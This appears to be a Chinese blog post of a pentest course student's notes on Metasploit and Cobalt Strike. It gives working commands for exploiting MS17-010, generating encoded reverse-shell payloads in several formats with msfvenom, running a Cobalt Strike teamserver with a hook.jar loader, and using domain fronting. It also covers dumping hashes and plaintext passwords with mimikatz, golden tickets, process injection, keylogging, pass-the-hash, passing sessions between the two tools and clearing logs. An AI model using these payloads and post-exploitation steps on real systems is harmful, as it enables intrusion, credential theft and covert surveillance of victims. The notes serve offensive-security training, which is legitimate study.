暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Metasploit&Cobalt Strike 基础

谢公子学安全 2021-10-27
2224

本文为内测第一周结束后内网学员的学习笔记,后续本公众号会持续更新其他课程学员学习笔记。对课程感兴趣,请添加文末小助手微信咨询。‍‍


0x01 MSF安装和升级


最近mac本机和linux服务器上的msf在执行msfupdate命令以后都出现了不同程度的玄学问题,于是卸了重装。


1.1 安装

    https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers
    curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ chmod 755 msfinstall && \ ./msfinstall

    以非root用户首次启动msf来创建数据库。

    如果是用root用户首次启动msf了那么就用 msfdb reinit命令来初始化数据库。


    1.2 mac下msf的卸载:


      msfremove


      1.3 linux下msf的卸载:


        sudo rm -rf opt/metasploit-frameworkrm ~/.msf4/logs/framework.log


        如果都用1.1里的方式安装的就用以上这两条命令卸载就行了。

        但是我发现我服务器上一开始是通过 apt-get install来装msf的。所以需要加:

          sudo apt-get remove metasploit-framework

          这条命令来卸载msf。


            https://github.com/rapid7/metasploit-framework/issues/14652 前两条命令


            1.4 msf更新

              msfupdate



              1.5 添加到路径


              顺带一提,添加msfconsole和msfvenom这些bin到路径的方法在mac上和在linux上都是

                export PATH="$PATH:/opt/metasploit-framework/bin"




                0x02 msf使用方法


                2.1 使用方法



                  进入msf: 
                  msfconsolesearch
                  命令查找模块:
                  search ms17-010use
                  进入模块:
                  use exploit/windows/smb/ms17_010_eternalblue (search以后use 0)
                  模块详细信息查看:
                  use了以后info,没use 之前 info exploit/windows/smb/ms17_010_eternalblue
                  设置攻击载荷:
                  set payload windows/x64/meterpreter/reverse_tcp
                  查看模块需要的参数:
                  options
                  设置参数:
                  set lhost 0.0.0.0(参数名似乎不区分大小写)
                  攻击:
                  run exploit 都可以meterpreter后渗透阶段



                  2.2 rc脚本执行多个msf命令


                    msfconsole -r configure.rc



                    0x03 msfvenom生成shellcode


                    3.1 一般生成


                      msfvenom
                      -p 载荷 
                      -f 输出格式
                      -o 输出文件msfvenom
                      -p windows/x64/meterpreter/reverse_tcp -f exe -o payload.exe
                      大部分时候也是需要一些配置 lhost lport这些:
                      msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe


                      3.2 编码生成


                        msfvenom 
                        -a 系统架构
                        --platform 系统平台
                        -p 有效载荷
                        lhost=攻击机IP
                        lport=攻击机端口
                        -e 编码方式
                        -i 编码次数
                        -f 输出格式
                        -o 输出文件
                        msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe
                        一般来说 -a可以不用,--platform也可以不用


                        3.3 查看支持的系统架构

                          msfvenom -l archs


                          3.4 查看支持的系统平台

                            msfvenom -l platforms


                            3.5 列出所有payload

                              msfvenom -l payload



                              3.6 列出所有的输出格式

                                msfvenom -l formats



                                3.7 列出所有的加密方式

                                  msfvenom -l encrypt



                                  3.8 列出所有的编码器

                                    msfvenom -l encoders


                                    0x04 常见生成格式


                                    主要是windows。


                                    4.1 windows

                                      msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3-ex86/shikata_ga_nai -f exe -o payload.exe


                                      4.2 Linux

                                        msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -opayload.elf


                                        4.3 Mac

                                          msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho



                                          4.4 Android

                                            msfvenom -p android/meterpreter/reverse_tcp -o payload.apk



                                            4.5 Aspx

                                              msfvenom --platform windows -p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx


                                              4.6 Jsp

                                                msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp


                                                4.7 PHP

                                                  msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php


                                                  4.8 Bash

                                                    msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh


                                                    0x05 CS安装


                                                    5.1 java版本切换


                                                    mac切换java版本

                                                      https://juejin.cn/post/6871959224314757134

                                                      原先的bash_profile里面的脚本

                                                        export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_91.jdk/Contents/Home CLASS_PATH="$JAVA_HOME/lib" PATH=".$PATH:$JAVA_HOME/bin"

                                                        mac下我用的是zsh,所以把上面的脚本复制到.zshrc里面就行。

                                                        ubuntu下的jdk我都安装在/usr/local下,就不用update-alternatives切换了吧,自己用的时候自己换吧。

                                                          在~/.bashrc 里面
                                                          现在是/usr/local/jdk-11.0.1/bin

                                                          5.2 CS启动


                                                            服务端
                                                            cd home/ubuntu/CS4.3&&nohup sudo ./teamserver ip pass js.profile &

                                                              客户端启动(mac)
                                                              cd /Users/hh/sectools/Cobalt_Strike_4.3&&java -Xdock:icon=cobaltstrike.icns -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:hook.jar -jar cobaltstrike.jar
                                                              客户端启动(win)
                                                              java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -javaagent:hook.jar -jar cobaltstrike.jar

                                                              5.3 CS文件介绍

                                                                agscript:扩展应⽤的脚本 
                                                                c2lint:⽤于检查profile的错误和异常
                                                                teamserver:服务器端启动程序
                                                                cobaltstrike.jarCobaltStrike核⼼程序
                                                                cobaltstrike.auth:⽤于客户端和服务器端认证的⽂件,客户端和服务端有⼀个⼀模⼀样的 
                                                                cobaltstrike.store:秘钥证书存放⽂件
                                                                客户端基本只需cobaltstrike.jarcobaltstrike.authcobaltstrike.store这几个文件。

                                                                5.4 目录


                                                                  data:⽤于保存当前TeamServer的⼀些数据 
                                                                  download:⽤于存放在⽬标机器下载的数据
                                                                  upload:上传⽂件的⽬录 logs:⽇志⽂件,包括Web⽇志、Beacon⽇志、截图⽇志、下载⽇志、键盘记录⽇志等
                                                                  third-party:第三⽅⼯具⽬录


                                                                  PC上 🔼


                                                                  5.5 CS 清除 日志

                                                                    logs文件打包备份以后删除原文件夹。
                                                                    删除 ~/.aggressor.prop 文件里的内容。
                                                                    CS监听器和插件
                                                                    主要记录监听器的各种payload和选项
                                                                    加载插件时候的各种需要注意的问题

                                                                    5.6 CS监听器创建


                                                                      监听器-> listeners
                                                                      CobaltStrike的内置监听器为Beacon,外置监听器为Foreign。CobaltStrike的Beacon支持异步通信和交互式通信。
                                                                      创建监听器的方式:
                                                                      Cobalt_Strike->Listeners->add



                                                                        listener
                                                                        name:为监听器名字,可任意
                                                                        payload:payload类型,建议HTTPS流量加密HTTP
                                                                        Hosts: shell反弹的主机,测试中也可以填CDN节点
                                                                        HTTP Hosts(Stager): Stager的⻢请求下载payload的地址,默认也是shell反弹的主机地址
                                                                        HTTP Port(C2): C2监听的端⼝ 可以任意指定Host Rotation Strategy先不管


                                                                        5.7 cs4.3 的payload选项



                                                                          内部的Listener
                                                                          Beacon DNS Beacon HTTP Beacon HTTPS Beacon TCP Beacon SMB
                                                                          外部的Listener
                                                                          Foreign HTTP Foreign HTTPS
                                                                          External
                                                                          External C2
                                                                          Beacon为内置的Listener,即在⽬标主机执⾏相应的payload,获取shell到CS上;其中包含DNS、HTTP、 HTTPS、SMB。


                                                                          Beacon可以选择通过DNS还是HTTP协议出⼝⽹络,你可以在使⽤Beacon通讯过程中切换HTTP和DNS。(HTTP HOSTS的CDN节点)⽀持多主机连接,部署好Beacon后提交⼀个要连回的域名或主机的列表,Beacon将通过这些主机轮询。


                                                                          (域前置)防护团队必须拦截所有的列表中的主机才可中断和其⽹络的通讯。通过种种⽅式获取shell以后(⽐如直接运⾏⽣成 的exe),就可以使⽤Beacon了。


                                                                          Foreign为外部结合的Listener,常⽤于MSF的结合,例如获取meterpreter到MSF上。


                                                                          5.8 本地远程加载插件


                                                                            本地加载
                                                                            Script Manager -> Load
                                                                            插件的使用就是有shell弹回来以后右键使用。



                                                                            5.9 服务端加载



                                                                              加载方法:
                                                                              CobaltStrike服务器端有个 agscript⽂件,他是⽤来在服务器端运⾏cna插件⽂件的。
                                                                              agscript用法
                                                                              在服务端执行如下命令(避免与teamserver运行的产生的nohup.out冲突)
                                                                              nohup ./agscript cs的ip cs的端口 任意用户名 password 插件路径 >> nohup1.out &


                                                                                agscript和c2lint文件的使用问题(重要):
                                                                                CS高版本要使用hook.jar
                                                                                agscript配置:
                                                                                java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:hook.jar -classpath ./cobaltstrike.jar aggressor.headless.Start $*
                                                                                c2lint配置:
                                                                                #!/bin/bash## Check a Malleable C&C Profile#java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -javaagent:hook.jar -classpath ./cobaltstrike.jar c2profile.Lint $1


                                                                                5.9.1 c2lint用法:

                                                                                  ./c2lint xxx.profile


                                                                                  5.9.2 对被控主机的操作1


                                                                                    视图view:
                                                                                    Applications    显示受害者机器的应⽤信息;
                                                                                    Credentials     显示受害者机器的凭证信息,通过hashdump和mimikatz获取的密码都保存在这⾥;
                                                                                    Downloads     查看从被控机器上下载的⽂件;
                                                                                    Event Log     可以看到事件⽇志,清楚的看到系统的事件,并且团队可以在这⾥聊天;
                                                                                    Keystrokes     查看键盘记录;
                                                                                    Proxy Pivots    查看代理信息;
                                                                                    Screenshots    查看屏幕截图;
                                                                                    Script Console   在这⾥可以加载各种脚本以增强功能,https://github.com/rsmudge/cortana-scripts,学习插件编写Targets      查看⽬标;
                                                                                    Web Log      查看web⽇志。


                                                                                    5.9.3 对被控主机的操作总览

                                                                                      Interact 打开beacon
                                                                                      Access
                                                                                      dump hashes 获取hash
                                                                                      Elevate 提权
                                                                                      Golden Ticket 生成黄金票据注入当前会话
                                                                                      MAke token 凭证转换
                                                                                      Run Mimikatz 运行Mimikatz 抓取明文密码
                                                                                      Spawn As ⽤其他⽤户⽣成Cobalt Strike的beacon

                                                                                      Explore
                                                                                      Browser Pivot 劫持⽬标浏览器进程(很少使用)
                                                                                      Desktop(VNC) 桌⾯交互
                                                                                      File Browser 文件浏览器
                                                                                      Net View 命令net view
                                                                                      Port scan 端口扫描
                                                                                      Process list 进程列表
                                                                                      Screenshot 截图(system权限下截图是失败的,普通或者管理员都是可以的)

                                                                                      Pivoting
                                                                                      SOCKS Server 代理服务
                                                                                      Listener 反向端口转发
                                                                                      Deploy VPN 部署VPN

                                                                                      Spawn 新的通讯模式并生成会话
                                                                                      Session 会话管理,删除,心跳时间,退出,备注


                                                                                      5.9.4 抓取hash和明文密码


                                                                                      这两项功能都需要管理员权限,如果权限不⾜,先提权


                                                                                        抓取密码哈希:
                                                                                        Access->Dump Hashes



                                                                                          利用mimikatz抓取明文密码:
                                                                                          Access->Run mimikatz


                                                                                          credentials里面有复制功能 复制到剪贴板


                                                                                          6.0 提权(Elevate)


                                                                                          有杀软的话提权插件可能不成功

                                                                                            https://github.com/rsmudge/ElevateKit




                                                                                              控主机简历Socks4代理
                                                                                              Pivoting->Socks Server



                                                                                              选择端口

                                                                                              做了域前置再做socks4代理的话要注意会暴露真实ip地址,要留意。


                                                                                                进程列表(注入进程,键盘监控)
                                                                                                Explore->process list


                                                                                                建议注入PID大的进程


                                                                                                  选中该进程
                                                                                                  Kill为杀死该进程
                                                                                                  Refresh为刷新该进程
                                                                                                  Inject 则是把beacon注⼊进程
                                                                                                  Log Keystrokes为键盘记 录
                                                                                                  Screenshot 为截图
                                                                                                  Stea Token为窃取运⾏指定程序的⽤户令牌


                                                                                                  6.1 Inject注入进程


                                                                                                  选择进程,点击Inject,随后选择监听器,点击choose,即可发现CobaltStrike弹回了⽬标机的⼀个新会话,这个 会话就是成功注⼊到某进程的beacon会话。该功能可以把你的beacon会话注⼊到另外⼀个程序之中,注⼊之后, 除⾮那个正常进程被杀死了,否则我们就⼀直可以控制该主机了。
                                                                                                  inject 进程PID 进程位数 监听
                                                                                                  最好是权限稳定了再做。


                                                                                                  6.2 键盘记录


                                                                                                  进程列表里任意选择⼀个进程,点击Log Keystrokes,即可监听该主机的键盘记录。

                                                                                                    keylogger 进程PID 进程位数

                                                                                                    或者直接输入keylogger(应该是当前进程监听键盘)

                                                                                                    点钥匙按钮


                                                                                                    6.3 CS操作续

                                                                                                    生成黄金票据注入当前会话(Golden Ticket)
                                                                                                    ⽣成⻩⾦票据的前提是已经获得了krbtgt⽤户的哈希:xxx。并且已经获 得⼀个以域⽤户登录的主机权限。

                                                                                                    6.4 端口扫描

                                                                                                      Explore->Port Scan



                                                                                                        一般sockets进程数s可以选200
                                                                                                        portscan 192.168.10.1-192.168.10.10 22,445 arp 1024 arp协议扫描
                                                                                                        portscan 192.168.10.1-192.168.10.10 22,445 icmp 1024 icmp协议扫描
                                                                                                        portscan 192.168.10.1-192.168.10.10 22,445 none 1024 默认所有主机都是存活的


                                                                                                        一般直接运行
                                                                                                        portscan 192.168.1.0/24 22,445,1433,3306 20
                                                                                                        beacon里jobs查看后台运行
                                                                                                        jobkill 杀掉进程

                                                                                                        6.5 哈希传递攻击或者SSH远程登录


                                                                                                        有哈希解不出可以尝试PTH攻击


                                                                                                        6.6 MSF和CS联动


                                                                                                        会话的派生场景:

                                                                                                          用MSF的payload打ms-17010
                                                                                                          MSF的shell弹到CS上
                                                                                                          CS、MSF互弹
                                                                                                          只有http和https可以接收到另一方回连的会话。http复制http,https复制https。
                                                                                                          实际攻击中VPS上装个msf


                                                                                                          6.7 CS复制会话到MSF


                                                                                                            1、CS创建外部监听器 


                                                                                                            2、MSF开启监听
                                                                                                            use exploit/multi/handler
                                                                                                            set payload windows/meterpreter/reverse_http (与cs对应)
                                                                                                            set lhost CS服务器地址
                                                                                                            set lport CS外联监听器的端口


                                                                                                            3、CS指定会话里运行spawn 外联监听器名

                                                                                                              foreign_https
                                                                                                              2.msf复制命令run



                                                                                                              6.8 MSF复制会话到CS


                                                                                                                1、将MSF获得meterpreter会话放在后台:backgroud 


                                                                                                                2、注入会话
                                                                                                                use exploit/windows/local/payload_inject
                                                                                                                session 选择要复制的session会话
                                                                                                                set payload windows/meterpreter/reverse_http
                                                                                                                set lhost CS服务器地址
                                                                                                                set lport CS外联监听器的端口(此处应为4142


                                                                                                                3、CS创建监听器 (对应的beacon http或者https)


                                                                                                                4、MSF运行注入





                                                                                                                然后这个弹好的shell是互不影响的。

                                                                                                                要懂得cs拿到shell以后做的操作。

                                                                                                                msf拿到meterpreter以后做的操作。

                                                                                                                是后渗透的基础。

                                                                                                                比如说

                                                                                                                CS的shell

                                                                                                                  第一个操作是权限维持,同时快速翻文件收集信息。
                                                                                                                  第二个操作是考虑打个代理,开始横向移动,快速判断机器是否有用,开始扫描。


                                                                                                                  小助手:



                                                                                                                  文章转载自谢公子学安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                                                                                                                  评论